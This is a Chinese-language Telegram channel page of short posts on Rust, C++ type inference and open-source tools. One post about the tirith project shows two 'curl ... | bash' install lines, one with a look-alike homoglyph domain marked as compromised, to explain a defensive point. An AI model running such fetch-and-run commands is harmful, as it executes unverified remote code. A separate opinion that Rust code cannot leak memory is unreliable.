codedump的电报频道
5.41K subscribers
208 photos
8 videos
7 files
772 links
发布个人博客(主页 codedump.info)、想法、推荐等。RSS订阅地址:https://rsshub.app/telegram/channel/codedump_notes,过往汇总搜索可以到:https://app.shokichan.com/c/tg/codedump_notes。
Download Telegram
#Rust
之前一直以为,在Rust代码中只有返回Result类型的函数可以用?提前返回,没想到可不止这个类型,参见:https://doc.rust-lang.org/std/ops/trait.Try.html
👍31
#C++
#Rust
#类型推断
C++后来引入了auto关键字用于类型推断,但是这个类型系统在Rust面前就是个弟弟,因为经常会给推出来可能编译报警的类型。

例如代码:

for (auto i = 0; i < expected_actions.size(); ++i)


这在某些编译器上会报警:comparison of integer expressions of different signedness

这是因为这里的auto i进行类型推断时使用了int,而vector的size类型是size_t,一个是有符号整型,一个是无符号整型,在数据溢出的时候这个对比会判断出错,所以才有的这个告警。

我的问题是:既然如此,这里的auto i就应该推断成size_t才对。不然要你这个类型推断有何用啊?
1
#开源项目
#系统编程
#Rust

教学项目NanoCore,采用Rust编写的8位CPU模拟器,用来理解指令集设计、CPU架构原理等。
15
#开源项目
#Rust
tirith

仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
👍35
#Rust
#开源项目

numa,作者从0使用Rust打造的便携式DNS服务,将本地开发反向代理、自动 HTTPS 证书签发、广告拦截与加密隐私保护融为一体,适合开发者和网络极客的本地网络。
👍41
#Rust
#人工智能

采用Rust重写的JS Runtime Bun已经被合并。之前很多人以为只是玩玩,但是没想到作者来真的,真的把代码重新用Rust实现并且合并进了主干。

我的观点:在现在大量ai coding的情况下,Rust这样强类型、类型和内存安全的语言是有优势的,因为从语言设计上,在编译期就能让编译器给检查出很多错误来。强类型保证了不同类型数据操作时不会有问题,例如C中的数据溢出问题;而内存安全保障了代码只要能编译通过,就不会有内存泄露、野指针等问题。以上都能让开发者专注在代码逻辑上,能更加放心一些。反倒是某些解释型语言....我换个说法:今天如果使用解释型语言,来重写这么大的一个项目,恐怕不会这么快和顺利(按照作者的说法,只花了6天,AI就完成了Rust版本的重写)。
🔥12
#开源项目
#人工智能
#Rust

llmfit 是一个轻量级的命令行工具,专门解决“我的电脑到底能跑什么模型”的痛点。它通过扫描系统的RAM、CPU以及显卡的显存,自动对比HuggingFace上的模型数据库,并根据量化精度、推理速度和上下文长度给出一份适配清单。它支持Ollama、llama.cpp、MLX等主流框架,让你在下载动辄几十GB的模型文件前,就能预判它在你的硬件上是丝滑运行还是直接崩溃。
👍10🔥3👏3😁2🤔21